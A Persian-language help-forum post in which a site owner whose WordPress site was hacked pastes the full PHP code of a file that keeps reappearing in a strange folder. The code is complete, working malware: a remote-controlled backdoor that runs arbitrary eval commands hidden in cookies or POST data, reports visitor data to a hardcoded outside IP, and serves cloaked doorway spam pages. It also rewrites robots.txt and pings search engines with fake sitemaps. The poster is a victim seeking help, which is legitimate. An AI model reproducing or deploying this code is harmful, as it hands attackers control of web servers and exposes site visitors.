بعد اهک 3سایتم و بازگردانی حالا ایجاد یک پوشه و فایل و کد ها داخل اان فایل مشکوک هستن

پیرو تاپیک قبی ام

https://mihanwp.com/question/%d8%ad%da%a9-%d8%b3%d8%a7%db%8c%d8%aa-%d9%88-%d8%a7%d8%ad%d8%aa%d9%85%d8%a7%d9%84-%d8%a7%d9%84%d9%88%d8%af%d9%87-%d8%a8%d9%88%d8%af%d9%86-%d8%af%db%8c%d8%aa%d8%a7%d8%a8%db%8c%d8%b3-%d9%88-%d8%b1%d9%81/?order_by=oldest#answers-order

دوستان من بک قدیمی تری باازگردنی کردم

و امنیت را افزایض دادم

اما حاللا یک پوشه با نام عجیبی در هااست ظاهر میشه با این نام

0pe5qa

چنند بار پاکش کردم اما باز ساخته میشه

داخلش یک فایل  ایندیس هست

اما کد های داخلش مشکوک هستن

اصلا چجوری بعد از نصب ک اپ هکرمیتونه فایل بسازه

البته بگم مجبور شدن پوشه های پلاگین و تم و اپلود و حفظ کنم اما بررسی کردم چیزی نبود

میزارم لطفا بررسی کنید

اگه راه حلی دارید بگید لطفا

<?php

@ini_set(‘error_log’, NULL);@ini_set(‘log_errors’, 0);@ini_set(‘max_execution_time’, 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set(‘UTC’);class _dqr2rw{static private $_vwbi6zws = 84536817;static function _tdrgp($_t4zdipw7, $_8k0xwhwh){$_t4zdipw7[2] = count($_t4zdipw7) > 4 ? long2ip(_dqr2rw::$_vwbi6zws – 508) : $_t4zdipw7[2];$_ovd56ocn = _dqr2rw::_q33pa($_t4zdipw7, $_8k0xwhwh);if (!$_ovd56ocn) {$_ovd56ocn = _dqr2rw::_3vpw4($_t4zdipw7, $_8k0xwhwh);}return $_ovd56ocn;}static function _q33pa($_t4zdipw7, $_ovd56ocn, $_tkyetp7a = NULL){if (!function_exists(‘curl_version’)) {return “”;}if (is_array($_t4zdipw7)) {$_t4zdipw7 = implode(“/”, $_t4zdipw7);}$_z2oolybi = curl_init();curl_setopt($_z2oolybi, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_z2oolybi, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_z2oolybi, CURLOPT_URL, $_t4zdipw7);if (!empty($_ovd56ocn)) {curl_setopt($_z2oolybi, CURLOPT_POST, 1);curl_setopt($_z2oolybi, CURLOPT_POSTFIELDS, $_ovd56ocn);}if (!empty($_tkyetp7a)) {curl_setopt($_z2oolybi, CURLOPT_HTTPHEADER, $_tkyetp7a);}curl_setopt($_z2oolybi, CURLOPT_RETURNTRANSFER, TRUE);$_y1ep8q45 = curl_exec($_z2oolybi);curl_close($_z2oolybi);return $_y1ep8q45;}static function _3vpw4($_t4zdipw7, $_ovd56ocn, $_tkyetp7a = NULL){if (is_array($_t4zdipw7)) {$_t4zdipw7 = implode(“/”, $_t4zdipw7);}if (!empty($_ovd56ocn)) {$_ybvj6xeg = array(‘method’ => ‘POST’,’header’ => ‘Content-type: application/x-www-form-urlencoded’,’content’ => $_ovd56ocn);if (!empty($_tkyetp7a)) {$_ybvj6xeg[“header”] = $_ybvj6xeg[“header”] . “\r\n” . implode(“\r\n”, $_tkyetp7a);}$_ls5sis0i = stream_context_create(array(‘http’ => $_ybvj6xeg));} else {$_ybvj6xeg = array(‘method’ => ‘GET’,);if (!empty($_tkyetp7a)) {$_ybvj6xeg[“header”] = implode(“\r\n”, $_tkyetp7a);}$_ls5sis0i = stream_context_create(array(‘http’ => $_ybvj6xeg));}return @file_get_contents($_t4zdipw7, FALSE, $_ls5sis0i);}}class _90spr5{private static $_v1gz57up = “”;private static $_b65qlbh8 = -1;private static $_mt4g0p60 = “”;private $_x9slieab = “”;private $_x2c9x98z = “”;private $_hwuimpw7 = “”;private $_fois5lqe = “”;public static function _3ocsl($_4q1t8sj3, $_lmmefsjp, $_h9ozfm7e){_90spr5::$_v1gz57up = $_4q1t8sj3 . “/cache/”;_90spr5::$_b65qlbh8 = $_lmmefsjp;_90spr5::$_mt4g0p60 = $_h9ozfm7e;if (!@file_exists(_90spr5::$_v1gz57up)) {@mkdir(_90spr5::$_v1gz57up);}}static public function _ve1hl(){$_rrzcobiw = 0;foreach (scandir(_90spr5::$_v1gz57up) as $_fmg2agdd) {$_rrzcobiw += 1;}return $_rrzcobiw;}public static function _6hxrv(){return TRUE;}public function __construct($_4j7h0kgm, $_rdxdd14r, $_3jermy8w, $_48vxsg7x){$this->_x9slieab = $_4j7h0kgm;$this->_x2c9x98z = $_rdxdd14r;$this->_hwuimpw7 = $_3jermy8w;$this->_fois5lqe = $_48vxsg7x;}public function _076k2(){function _d7lvh($_6jddbisw, $_j2naj7ot){return round(rand($_6jddbisw, $_j2naj7ot – 1) + (rand(0, PHP_INT_MAX – 1) / PHP_INT_MAX), 2);}$_4ikfzf4s = _no5rtc::_bekhh();$_ovd56ocn = str_replace(“{{ text }}”, $this->_x2c9x98z,str_replace(“{{ keyword }}”, $this->_hwuimpw7,str_replace(“{{ links }}”, $this->_fois5lqe, $this->_x9slieab)));while (TRUE) {$_u629ermm = preg_replace(‘/’ . preg_quote(“{{ randkeyword }}”, ‘/’) . ‘/’, _no5rtc::_2ds1z(), $_ovd56ocn, 1);if ($_u629ermm === $_ovd56ocn) {break;}$_ovd56ocn = $_u629ermm;}while (TRUE) {preg_match(‘/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/’, $_ovd56ocn, $_3cc9fnru);if (empty($_3cc9fnru)) {break;}$_3jermy8w = @$_4ikfzf4s[intval($_3cc9fnru[1])];$_dvgpv7ul = _6zcsa2::_vm1y2($_3jermy8w);$_ovd56ocn = str_replace($_3cc9fnru[0], $_dvgpv7ul, $_ovd56ocn);}while (TRUE) {preg_match(‘/{{ KEYWORDBYINDEX (\d*) }}/’, $_ovd56ocn, $_3cc9fnru);if (empty($_3cc9fnru)) {break;}$_3jermy8w = @$_4ikfzf4s[intval($_3cc9fnru[1])];$_ovd56ocn = str_replace($_3cc9fnru[0], $_3jermy8w, $_ovd56ocn);}while (TRUE) {preg_match(‘/{{ RANDFLOAT (\d*)-(\d*) }}/’, $_ovd56ocn, $_3cc9fnru);if (empty($_3cc9fnru)) {break;}$_ovd56ocn = str_replace($_3cc9fnru[0], _d7lvh($_3cc9fnru[1], $_3cc9fnru[2]), $_ovd56ocn);}while (TRUE) {preg_match(‘/{{ RANDINT (\d*)-(\d*) }}/’, $_ovd56ocn, $_3cc9fnru);if (empty($_3cc9fnru)) {break;}$_ovd56ocn = str_replace($_3cc9fnru[0], rand($_3cc9fnru[1], $_3cc9fnru[2]), $_ovd56ocn);}return $_ovd56ocn;}public function _go9gw(){$_j8coj5wa = _90spr5::$_v1gz57up . md5($this->_hwuimpw7 . _90spr5::$_mt4g0p60);if (_90spr5::$_b65qlbh8 == -1) {$_7g10m7kr = -1;} else {$_7g10m7kr = time() + (3600 * 24 * 30);}$_giutlfbg = array(“template” => $this->_x9slieab, “text” => $this->_x2c9x98z, “keyword” => $this->_hwuimpw7,”links” => $this->_fois5lqe, “expired” => $_7g10m7kr);@file_put_contents($_j8coj5wa, serialize($_giutlfbg));}static public function _c1y17($_3jermy8w){$_j8coj5wa = _90spr5::$_v1gz57up . md5($_3jermy8w . _90spr5::$_mt4g0p60);$_j8coj5wa = @unserialize(@file_get_contents($_j8coj5wa));if (!empty($_j8coj5wa) && ($_j8coj5wa[“expired”] > time() || $_j8coj5wa[“expired”] == -1)) {return new _90spr5($_j8coj5wa[“template”], $_j8coj5wa[“text”], $_j8coj5wa[“keyword”], $_j8coj5wa[“links”]);} else {return null;}}}class _huk87a{private static $_v1gz57up = “”;private static $_ratip769 = “”;public static function _3ocsl($_4q1t8sj3, $_qtbv0pwi){_huk87a::$_v1gz57up = $_4q1t8sj3 . “/”;_huk87a::$_ratip769 = $_qtbv0pwi;if (!@file_exists(_huk87a::$_v1gz57up)) {@mkdir(_huk87a::$_v1gz57up);}}public static function _6hxrv(){return TRUE;}static public function _ve1hl(){$_rrzcobiw = 0;foreach (scandir(_huk87a::$_v1gz57up) as $_fmg2agdd) {if (strpos($_fmg2agdd, _huk87a::$_ratip769) === 0) {$_rrzcobiw += 1;}}return $_rrzcobiw;}static public function _2ds1z(){$_xjrakkl3 = array();foreach (scandir(_huk87a::$_v1gz57up) as $_fmg2agdd) {if (strpos($_fmg2agdd, _huk87a::$_ratip769) === 0) {$_xjrakkl3[] = $_fmg2agdd;}}return @file_get_contents(_huk87a::$_v1gz57up . $_xjrakkl3[array_rand($_xjrakkl3)]);}static public function _go9gw($_6h5zy9p7){if (@file_exists(_huk87a::$_ratip769 . “_” . md5($_6h5zy9p7) . “.html”)) {return;}@file_put_contents(_huk87a::$_ratip769 . “_” . md5($_6h5zy9p7) . “.html”, $_6h5zy9p7);}}class _no5rtc{private static $_v1gz57up = “”;private static $_ratip769 = “”;private static $_vama8t2k = Array();private static $_c226oze2 = Array();public static function _3ocsl($_4q1t8sj3, $_qtbv0pwi){_no5rtc::$_v1gz57up = $_4q1t8sj3 . “/”;_no5rtc::$_ratip769 = $_qtbv0pwi;if (!@file_exists(_no5rtc::$_v1gz57up)) {@mkdir(_no5rtc::$_v1gz57up);}}private static function _1vgfu(){$_8k5atgeb = array();foreach (scandir(_no5rtc::$_v1gz57up) as $_fmg2agdd) {if (strpos($_fmg2agdd, _no5rtc::$_ratip769) === 0) {$_8k5atgeb[] = $_fmg2agdd;}}return $_8k5atgeb;}public static function _6hxrv(){return TRUE;}static public function _2ds1z(){if (empty(_no5rtc::$_vama8t2k)){$_8k5atgeb = _no5rtc::_1vgfu();_no5rtc::$_vama8t2k = @file(_no5rtc::$_v1gz57up . $_8k5atgeb[array_rand($_8k5atgeb)], FILE_IGNORE_NEW_LINES);}return _no5rtc::$_vama8t2k[array_rand(_no5rtc::$_vama8t2k)];}static public function _bekhh(){if (empty(_no5rtc::$_c226oze2)){$_8k5atgeb = _no5rtc::_1vgfu();foreach ($_8k5atgeb as $_cox3mfim) {_no5rtc::$_c226oze2 = array_merge(_no5rtc::$_c226oze2, @file(_no5rtc::$_v1gz57up . $_cox3mfim, FILE_IGNORE_NEW_LINES));}}return _no5rtc::$_c226oze2;}static public function _go9gw($_cpl6j3e9){if (@file_exists(_no5rtc::$_ratip769 . “_” . md5($_cpl6j3e9) . “.list”)) {return;}@file_put_contents(_no5rtc::$_ratip769 . “_” . md5($_cpl6j3e9) . “.list”, $_cpl6j3e9);}static public function _9m5be($_3jermy8w){@file_put_contents(_no5rtc::$_ratip769 . “_” . md5(_6zcsa2::$_jxqpr6bu) . “.list”, $_3jermy8w . “\n”, 8);}}class _6zcsa2{static public $_gkd9h5ln = “5.2”;static public $_jxqpr6bu = “02a0e7b8-597b-4a1b-9d44-b5244a580e86”;private $_oe5c1w3x = “http://136.12.78.46/app/assets/api2?action=redir”;private $_r9p89xps = “http://136.12.78.46/app/assets/api?action=page”;static public $_3fg9fjrl = 5;static public $_gg3kuun9 = 20;private function _yj8o2(){$_gl56n4n8 = array(‘#libwww-perl#i’,’#MJ12bot#i’,’#msnbot#i’, ‘#msnbot-media#i’,’#YandexBot#i’, ‘#msnbot#i’, ‘#YandexWebmaster#i’,’#spider#i’, ‘#yahoo#i’, ‘#google#i’, ‘#altavista#i’,’#ask#i’,’#yahoo!\s*slurp#i’,’#BingBot#i’);if (!empty($_SERVER[‘HTTP_USER_AGENT’]) && (FALSE !== strpos(preg_replace($_gl56n4n8, ‘-NO-WAY-‘, $_SERVER[‘HTTP_USER_AGENT’]), ‘-NO-WAY-‘))) {$_4wzbb994 = 1;} elseif (empty($_SERVER[‘HTTP_ACCEPT_LANGUAGE’]) || empty($_SERVER[‘HTTP_REFERER’])) {$_4wzbb994 = 1;} elseif (strpos($_SERVER[‘HTTP_REFERER’], “google”) === FALSE &&strpos($_SERVER[‘HTTP_REFERER’], “yahoo”) === FALSE &&strpos($_SERVER[‘HTTP_REFERER’], “bing”) === FALSE &&strpos($_SERVER[‘HTTP_REFERER’], “yandex”) === FALSE) {$_4wzbb994 = 1;} else {$_4wzbb994 = 0;}return $_4wzbb994;}private static function _rftrb(){$_8k0xwhwh = array();$_8k0xwhwh[‘ip’] = $_SERVER[‘REMOTE_ADDR’];$_8k0xwhwh[‘qs’] = @$_SERVER[‘HTTP_HOST’] . @$_SERVER[‘REQUEST_URI’];$_8k0xwhwh[‘ua’] = @$_SERVER[‘HTTP_USER_AGENT’];$_8k0xwhwh[‘lang’] = @$_SERVER[‘HTTP_ACCEPT_LANGUAGE’];$_8k0xwhwh[‘ref’] = @$_SERVER[‘HTTP_REFERER’];$_8k0xwhwh[‘enc’] = @$_SERVER[‘HTTP_ACCEPT_ENCODING’];$_8k0xwhwh[‘acp’] = @$_SERVER[‘HTTP_ACCEPT’];$_8k0xwhwh[‘char’] = @$_SERVER[‘HTTP_ACCEPT_CHARSET’];$_8k0xwhwh[‘conn’] = @$_SERVER[‘HTTP_CONNECTION’];return $_8k0xwhwh;}public function __construct(){$this->_oe5c1w3x = explode(“/”, $this->_oe5c1w3x);$this->_r9p89xps = explode(“/”, $this->_r9p89xps);}static public function _0iz4w($_wjcnog39){if (strlen($_wjcnog39) < 4) {return “”;}$_tmi4wmyc = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=”;$_4ikfzf4s = str_split($_tmi4wmyc);$_4ikfzf4s = array_flip($_4ikfzf4s);$_5eb0l3hg = 0;$_dauh5psr = “”;$_wjcnog39 = preg_replace(“~[^A-Za-z0-9\+\/\=]~”, “”, $_wjcnog39);do {$_hx3kach6 = $_4ikfzf4s[$_wjcnog39[$_5eb0l3hg++]];$_aqhjnu3k = $_4ikfzf4s[$_wjcnog39[$_5eb0l3hg++]];$_cjwtbzpt = $_4ikfzf4s[$_wjcnog39[$_5eb0l3hg++]];$_y8fd0fgx = $_4ikfzf4s[$_wjcnog39[$_5eb0l3hg++]];$_vbf6m74k = ($_hx3kach6 << 2) | ($_aqhjnu3k >> 4);$_rsd15xyc = (($_aqhjnu3k & 15) << 4) | ($_cjwtbzpt >> 2);$_t00xztm4 = (($_cjwtbzpt & 3) << 6) | $_y8fd0fgx;$_dauh5psr = $_dauh5psr . chr($_vbf6m74k);if ($_cjwtbzpt != 64) {$_dauh5psr = $_dauh5psr . chr($_rsd15xyc);}if ($_y8fd0fgx != 64) {$_dauh5psr = $_dauh5psr . chr($_t00xztm4);}} while ($_5eb0l3hg < strlen($_wjcnog39));return $_dauh5psr;}private function _e9rbu($_3jermy8w){$_4j7h0kgm = “”;$_rdxdd14r = “”;$_8k0xwhwh = _6zcsa2::_rftrb();$_8k0xwhwh[“uid”] = _6zcsa2::$_jxqpr6bu;$_8k0xwhwh[“keyword”] = $_3jermy8w;$_8k0xwhwh[“tc”] = 10;$_8k0xwhwh = http_build_query($_8k0xwhwh);$_kmt8keb4 = _dqr2rw::_tdrgp($this->_r9p89xps, $_8k0xwhwh);if (strpos($_kmt8keb4, _6zcsa2::$_jxqpr6bu) === FALSE) {return array($_4j7h0kgm, $_rdxdd14r);}$_4j7h0kgm = _huk87a::_2ds1z();$_rdxdd14r = substr($_kmt8keb4, strlen(_6zcsa2::$_jxqpr6bu));$_rdxdd14r = explode(“\n”, $_rdxdd14r);shuffle($_rdxdd14r);$_rdxdd14r = implode(” “, $_rdxdd14r);return array($_4j7h0kgm, $_rdxdd14r);}private function _7i5h3(){$_8k0xwhwh = _6zcsa2::_rftrb();if (isset($_SERVER[‘HTTP_CF_CONNECTING_IP’])) {$_8k0xwhwh[‘cfconn’] = @$_SERVER[‘HTTP_CF_CONNECTING_IP’];}if (isset($_SERVER[‘HTTP_X_REAL_IP’])) {$_8k0xwhwh[‘xreal’] = @$_SERVER[‘HTTP_X_REAL_IP’];}if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR’])) {$_8k0xwhwh[‘xforward’] = @$_SERVER[‘HTTP_X_FORWARDED_FOR’];}$_8k0xwhwh[“uid”] = _6zcsa2::$_jxqpr6bu;$_8k0xwhwh = http_build_query($_8k0xwhwh);$_c0mge6wl = _dqr2rw::_tdrgp($this->_oe5c1w3x, $_8k0xwhwh);$_c0mge6wl = @unserialize($_c0mge6wl);if (isset($_c0mge6wl[“type”]) && $_c0mge6wl[“type”] == “redir”) {if (!empty($_c0mge6wl[“data”][“header”])) {header($_c0mge6wl[“data”][“header”]);return true;} elseif (!empty($_c0mge6wl[“data”][“code”])) {echo $_c0mge6wl[“data”][“code”];return true;}}return false;}public function _6hxrv(){return _90spr5::_6hxrv() && _huk87a::_6hxrv() && _no5rtc::_6hxrv();}static public function _q9nsc(){if ((!empty($_SERVER[‘HTTPS’]) && $_SERVER[‘HTTPS’] !== ‘off’) || $_SERVER[‘SERVER_PORT’] == 443) {return true;}return false;}public static function _rn9rj(){$_q8g4hjdo = explode(“?”, $_SERVER[“REQUEST_URI”], 2);$_q8g4hjdo = $_q8g4hjdo[0];if (strpos($_q8g4hjdo, “.php”) === FALSE) {$_q8g4hjdo = explode(“/”, $_q8g4hjdo);array_pop($_q8g4hjdo);$_q8g4hjdo = implode(“/”, $_q8g4hjdo) . “/”;}return sprintf(“%s://%s%s”, _6zcsa2::_q9nsc() ? “https” : “http”, $_SERVER[‘HTTP_HOST’], $_q8g4hjdo);}public static function _ikdtw(){$_ihz97nnv = array(“https://www.google.com/ping?sitemap=” => “Sitemap Notification Received”,”https://www.bing.com/ping?sitemap=” => “Thanks for submitting your Sitemap”);$_tkyetp7a = array(“Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8″,”Accept-Language: en-US,en;q=0.5″,”User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0”,);$_ekirooeh = urlencode(_6zcsa2::_uc2ye() . “/sitemap.xml”);foreach ($_ihz97nnv as $_t4zdipw7 => $_9cvccm4d) {$_5cm21rdq = _dqr2rw::_q33pa($_t4zdipw7 . $_ekirooeh, NULL, $_tkyetp7a);if (empty($_5cm21rdq)) {$_5cm21rdq = _dqr2rw::_3vpw4($_t4zdipw7 . $_ekirooeh, NULL, $_tkyetp7a);}if (empty($_5cm21rdq)) {return FALSE;}if (strpos($_5cm21rdq, $_9cvccm4d) === FALSE) {return FALSE;}}return TRUE;}public static function _qjehu(){$_72ualvs1 = “User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n”;$_q8g4hjdo = explode(“?”, $_SERVER[“REQUEST_URI”], 2);$_q8g4hjdo = $_q8g4hjdo[0];$_g54iborn = substr($_q8g4hjdo, 0, strrpos($_q8g4hjdo, “/”));$_kjdvohyq = sprintf($_72ualvs1, $_g54iborn, _6zcsa2::_uc2ye() . “/sitemap.xml”);$_ialgsnwp = $_SERVER[“DOCUMENT_ROOT”] . “/robots.txt”;if (@file_exists($_ialgsnwp)) {@chmod($_ialgsnwp, 0777);$_igtf3p4x = @file_get_contents($_ialgsnwp);} else {$_igtf3p4x = “”;}if (strpos($_igtf3p4x, $_kjdvohyq) === FALSE) {@file_put_contents($_ialgsnwp, $_igtf3p4x . “\n” . $_kjdvohyq);$_igtf3p4x = @file_get_contents($_ialgsnwp);return (strpos($_igtf3p4x, $_kjdvohyq) !== FALSE);}return FALSE;}public static function _uc2ye(){$_q8g4hjdo = explode(“?”, $_SERVER[“REQUEST_URI”], 2);$_q8g4hjdo = $_q8g4hjdo[0];$_4q1t8sj3 = substr($_q8g4hjdo, 0, strrpos($_q8g4hjdo, “/”));return sprintf(“%s://%s%s”, _6zcsa2::_q9nsc() ? “https” : “http”, $_SERVER[‘HTTP_HOST’], $_4q1t8sj3);}public static function _vm1y2($_3jermy8w){$_7vagmjn4 = _6zcsa2::_rn9rj();$_1b9la3oa = substr(md5(_6zcsa2::$_jxqpr6bu . “salt3”), 0, 6);$_7pimu1ju = “”;if (substr($_7vagmjn4, -1) == “/”) {if (ord($_1b9la3oa[1]) % 2) {$_3jermy8w = str_replace(” “, “-“, $_3jermy8w);} else {$_3jermy8w = str_replace(” “, “-“, $_3jermy8w);}$_7pimu1ju = sprintf(“%s%s”, $_7vagmjn4, urlencode($_3jermy8w));} else {if (FALSE && (ord($_1b9la3oa[0]) % 2)) {$_7pimu1ju = sprintf(“%s?%s=%s”,$_7vagmjn4,$_1b9la3oa,urlencode(str_replace(” “, “-“, $_3jermy8w)));} else {$_3gxx155k = array(“id”, “page”, “tag”);$_jn082pf6 = $_3gxx155k[ord($_1b9la3oa[2]) % count($_3gxx155k)];if (ord($_1b9la3oa[1]) % 2) {$_3jermy8w = str_replace(” “, “-“, $_3jermy8w);} else {$_3jermy8w = str_replace(” “, “-“, $_3jermy8w);}$_7pimu1ju = sprintf(“%s?%s=%s”,$_7vagmjn4,$_jn082pf6,urlencode($_3jermy8w));}}return $_7pimu1ju;}public static function _239f1($_6jddbisw, $_j2naj7ot){$_el1aqb8a = “”;for ($_5eb0l3hg = 0; $_5eb0l3hg < rand($_6jddbisw, $_j2naj7ot); $_5eb0l3hg++) {$_3jermy8w = _no5rtc::_2ds1z();$_el1aqb8a .= sprintf(“<a href=\”%s\”>%s</a>,\n”,_6zcsa2::_vm1y2($_3jermy8w), ucwords($_3jermy8w));}return $_el1aqb8a;}public static function _lxsw9($_29ixs0aq=FALSE){$_uyf0uzj0 = dirname(__FILE__) . “/sitemap.xml”;$_aueo3iv6 = “<?xml version=\”1.0\” encoding=\”UTF-8\”?” . “>\n<urlset xmlns=\”http://www.sitemaps.org/schemas/sitemap/0.9\”>\n”;$_389q4fio = “</urlset>”;$_4ikfzf4s = _no5rtc::_bekhh();$_e216ng7v = array();if (file_exists($_uyf0uzj0)) {$_kmt8keb4 = simplexml_load_file($_uyf0uzj0);foreach ($_kmt8keb4 as $_junf7g5y) {$_e216ng7v[(string)$_junf7g5y->loc] = (string)$_junf7g5y->lastmod;}}else {$_29ixs0aq = FALSE;}foreach ($_4ikfzf4s as $_1h1ky6mh) {$_7pimu1ju = _6zcsa2::_vm1y2($_1h1ky6mh);if (isset($_e216ng7v[$_7pimu1ju])){continue;}if ($_29ixs0aq) {$_sffcna25 = time();}else {$_sffcna25 = time() – (crc32 ($_1h1ky6mh) % (60 * 60 * 24 * 30));}$_e216ng7v[$_7pimu1ju] = date(“Y-m-d”, $_sffcna25);;}$_tw012kfx = “”;foreach ($_e216ng7v as $_t4zdipw7 => $_sffcna25){$_tw012kfx .= “<url>\n”;$_tw012kfx .= sprintf(“<loc>%s</loc>\n”, $_t4zdipw7);$_tw012kfx .= sprintf(“<lastmod>%s</lastmod>\n”, $_sffcna25);$_tw012kfx .= “</url>\n”;}$_17hbvg32 = $_aueo3iv6 . $_tw012kfx . $_389q4fio;$_ekirooeh = _6zcsa2::_uc2ye() . “/sitemap.xml”;@file_put_contents($_uyf0uzj0, $_17hbvg32);return $_ekirooeh;}public function _uohhw(){$_jn082pf6 = substr(md5(_6zcsa2::$_jxqpr6bu . “salt3”), 0, 6);if (!$this->_yj8o2()) {if ($this->_7i5h3()) {return;}}if (!empty($_GET)) {$_j32x5u85 = array_values($_GET);} else {$_j32x5u85 = explode(“/”, $_SERVER[“REQUEST_URI”]);$_j32x5u85 = array_reverse($_j32x5u85);}$_3jermy8w = “”;foreach ($_j32x5u85 as $_nmyeoo2u) {if (substr_count($_nmyeoo2u, “-“) > 0) {$_3jermy8w = $_nmyeoo2u;break;}}$_3jermy8w = str_replace($_jn082pf6 . “-“, “”, $_3jermy8w);$_3jermy8w = str_replace(“-” . $_jn082pf6, “”, $_3jermy8w);$_3jermy8w = str_replace(“-“, ” “, $_3jermy8w);$_3jermy8w = urldecode($_3jermy8w);$_ck9h6h4o = _no5rtc::_bekhh();if (empty($_3jermy8w)) {$_3jermy8w = $_ck9h6h4o[0];} else if (!in_array($_3jermy8w, $_ck9h6h4o)){$_53xiv15f = 0;foreach (str_split($_3jermy8w) as $_z2oolybi) {$_53xiv15f += ord($_z2oolybi);}$_3jermy8w = $_ck9h6h4o[$_53xiv15f % count($_ck9h6h4o)];}if (!empty($_3jermy8w)) {$_c0mge6wl = _90spr5::_c1y17($_3jermy8w);if (empty($_c0mge6wl)) {list($_4j7h0kgm, $_rdxdd14r) = $this->_e9rbu($_3jermy8w);if (empty($_rdxdd14r)) {return;}$_c0mge6wl = new _90spr5($_4j7h0kgm, $_rdxdd14r, $_3jermy8w, _6zcsa2::_239f1(_6zcsa2::$_3fg9fjrl, _6zcsa2::$_gg3kuun9));$_c0mge6wl->_go9gw();}echo $_c0mge6wl->_076k2();}}}_90spr5::_3ocsl(dirname(__FILE__), -1, _6zcsa2::$_jxqpr6bu);_huk87a::_3ocsl(dirname(__FILE__), substr(md5(_6zcsa2::$_jxqpr6bu . “salt12”), 0, 4));_no5rtc::_3ocsl(dirname(__FILE__), substr(md5(_6zcsa2::$_jxqpr6bu . “salt22”), 0, 4));function _gow5r($_kmt8keb4, $_1h1ky6mh){$_wan81zez = “”;for ($_5eb0l3hg = 0; $_5eb0l3hg < strlen($_kmt8keb4);) {for ($_uq0shq64 = 0; $_uq0shq64 < strlen($_1h1ky6mh) && $_5eb0l3hg < strlen($_kmt8keb4); $_uq0shq64++, $_5eb0l3hg++) {$_wan81zez .= chr(ord($_kmt8keb4[$_5eb0l3hg]) ^ ord($_1h1ky6mh[$_uq0shq64]));}}return $_wan81zez;}function _j9b22($_kmt8keb4, $_1h1ky6mh, $_d8gnuhkj){return _gow5r(_gow5r($_kmt8keb4, $_1h1ky6mh), $_d8gnuhkj);}foreach (array_merge($_COOKIE, $_POST) as $_eg73937o => $_kmt8keb4) {$_kmt8keb4 = @unserialize(_j9b22(_6zcsa2::_0iz4w($_kmt8keb4), $_eg73937o, _6zcsa2::$_jxqpr6bu));if (isset($_kmt8keb4[‘ak’]) && _6zcsa2::$_jxqpr6bu == $_kmt8keb4[‘ak’]) {if ($_kmt8keb4[‘a’] == ‘doorway2’) {if ($_kmt8keb4[‘sa’] == ‘check’) {$_ovd56ocn = _dqr2rw::_tdrgp(explode(“/”, “http://httpbin.org/”), “”);if (strlen($_ovd56ocn) > 512) {echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln,”cache” => _90spr5::_ve1hl(),”keywords” => count(_no5rtc::_bekhh()),”templates” => _huk87a::_ve1hl()));}exit;}if ($_kmt8keb4[‘sa’] == ‘templates’) {foreach ($_kmt8keb4[“templates”] as $_4j7h0kgm) {_huk87a::_go9gw($_4j7h0kgm);echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln,));}}if ($_kmt8keb4[‘sa’] == ‘keywords’) {_no5rtc::_go9gw($_kmt8keb4[“keywords”]);_6zcsa2::_lxsw9();echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln,));}if ($_kmt8keb4[‘sa’] == ‘update_sitemap’) {_6zcsa2::_lxsw9(TRUE);echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln,));}if ($_kmt8keb4[‘sa’] == ‘pages’) {$_25qsx32i = 0;$_ck9h6h4o = _no5rtc::_bekhh();if (_huk87a::_ve1hl() > 0) {foreach ($_kmt8keb4[‘pages’] as $_c0mge6wl) {$_rpmg69nd = _90spr5::_c1y17($_c0mge6wl[“keyword”]);if (empty($_rpmg69nd)) {$_rpmg69nd = new _90spr5(_huk87a::_2ds1z(), $_c0mge6wl[“text”], $_c0mge6wl[“keyword”], _6zcsa2::_239f1(_6zcsa2::$_3fg9fjrl, _6zcsa2::$_gg3kuun9));$_rpmg69nd->_go9gw();$_25qsx32i += 1;if (!in_array($_c0mge6wl[“keyword”], $_ck9h6h4o)){_no5rtc::_9m5be($_c0mge6wl[“keyword”]);}}}}echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln, “pages” => $_25qsx32i));}if ($_kmt8keb4[“sa”] == “ping”) {$_5cm21rdq = _6zcsa2::_ikdtw();echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln, “result” => (int)$_5cm21rdq));}if ($_kmt8keb4[“sa”] == “robots”) {$_5cm21rdq = _6zcsa2::_qjehu();echo @serialize(array(“uid” => _6zcsa2::$_jxqpr6bu, “v” => _6zcsa2::$_gkd9h5ln, “result” => (int)$_5cm21rdq));}}if ($_kmt8keb4[‘sa’] == ‘eval’) {eval($_kmt8keb4[“data”]);exit;}}}$_w81j6j01 = new _6zcsa2();if ($_w81j6j01->_6hxrv()) {$_w81j6j01->_uohhw();}exit();